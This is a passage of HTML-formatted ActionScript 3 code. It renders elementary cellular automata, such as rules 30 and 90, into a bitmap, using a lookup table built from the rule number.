<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * Event handler to catch the user pressing ENTER in the text field</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * @param e</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> onEnter<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:KeyboardEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>.<span style="color: #006600;">charCode</span> == Keyboard.<span style="color: #0066CC;">ENTER</span><span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; doRender<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * Simple method to call the render function</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> doRender<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; render<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">parseInt</span><span style="color: #66cc66;">&#40;</span>inp.<span style="color: #0066CC;">text</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * Adjust the positioning of our elements based on a given size</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * @param w</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * @param h</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> setSize<span style="color: #66cc66;">&#40;</span>w:<span style="color: #0066CC;">Number</span>, h:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; btn.<span style="color: #006600;">x</span> = w - btn.<span style="color: #0066CC;">width</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #0066CC;">width</span> = w - btn.<span style="color: #0066CC;">width</span> - <span style="color: #cc66cc;color:#800000;">2</span>;&nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * Render cellular automata.</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * @param ruleNum - the number of the rule to draw. Some interesting numbers are '30' and '90'</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> render<span style="color: #66cc66;">&#40;</span>ruleNum:<span style="color: #0066CC;">int</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// clean up previous bitmap</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>bitmap != <span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; removeChild<span style="color: #66cc66;">&#40;</span>bitmap<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bitmap = <span style="color: #000000; font-weight: bold;">null</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>bdata != <span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">dispose</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata = <span style="color: #000000; font-weight: bold;">null</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// get width and height of the stage</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> w:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> h:<span style="color: #0066CC;">Number</span> = <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span> - <span style="color: #cc66cc;color:#800000;">20</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// build lookup table based on the rule number</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">var</span> rule:<span style="color: #0066CC;">Array</span> = <span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;color:#800000;">0</span>; i &lt;<span style="color: #cc66cc;color:#800000;">8</span>; i++<span style="color: #66cc66;">&#41;</span> </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rule<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span> = <span style="color: #66cc66;">&#40;</span>ruleNum&gt;&gt; i<span style="color: #66cc66;">&#41;</span> &amp; <span style="color: #cc66cc;color:#800000;">1</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// create bitmap data that we will draw into</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span>w, h, <span style="color: #000000; font-weight: bold;">false</span>, <span style="color: #cc66cc;color:#800000;">0</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// lock the bitmap data, provides speedups when you are doing a lot of manipulations</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">lock</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// set the starting data - a single pixel in the center</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">setPixel</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">round</span><span style="color: #66cc66;">&#40;</span>w/<span style="color: #cc66cc;color:#800000;">2</span><span style="color: #66cc66;">&#41;</span>, <span style="color: #cc66cc;color:#800000;">0</span>, <span style="color: #cc66cc;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// loop row by row</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> y:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;color:#800000;">1</span>; y &lt;h; y++<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// loop pixel by pixel</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> x:<span style="color: #0066CC;">int</span> = <span style="color: #cc66cc;color:#800000;">0</span>; x &lt;w; x++<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span> </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// use lookup table based up 3 neighboring pixels to calculate new pixel</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">setPixel</span><span style="color: #66cc66;">&#40;</span>x, y,</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rule<span style="color: #66cc66;">&#91;</span>bdata.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>x - <span style="color: #cc66cc;color:#800000;">1</span>, y - <span style="color: #cc66cc;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span> &lt;&lt;<span style="color: #cc66cc;color:#800000;">2</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; | bdata.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>x&nbsp; &nbsp; , y - <span style="color: #cc66cc;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span> &lt;&lt;<span style="color: #cc66cc;color:#800000;">1</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; | bdata.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>x + <span style="color: #cc66cc;color:#800000;">1</span>, y - <span style="color: #cc66cc;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// map the pixels, 0-white, 1-black</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">paletteMap</span><span style="color: #66cc66;">&#40;</span>bdata, </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;color:#800000;">0</span>, <span style="color: #cc66cc;color:#800000;">0</span>, w, h<span style="color: #66cc66;">&#41;</span>, <span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;color:#800000;">0</span>, <span style="color: #cc66cc;color:#800000;">0</span><span style="color: #66cc66;">&#41;</span>, </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span>, <span style="color: #66cc66;">&#91;</span><span style="color: #66cc66;">&#93;</span>, <span style="color: #66cc66;">&#91;</span>0xffffff, <span style="color: #cc66cc;color:#800000;">0</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bdata.<span style="color: #006600;">unlock</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">// unlock the bitmap data</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// create the bitmap to hold the data</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bitmap = <span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>bdata, PixelSnapping.<span style="color: #006600;">ALWAYS</span>, <span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bitmap.<span style="color: #006600;">y</span> = <span style="color: #cc66cc;color:#800000;">21</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addChildAt<span style="color: #66cc66;">&#40;</span>bitmap,<span style="color: #cc66cc;color:#800000;">0</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">// add it to our display list so we can see it</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
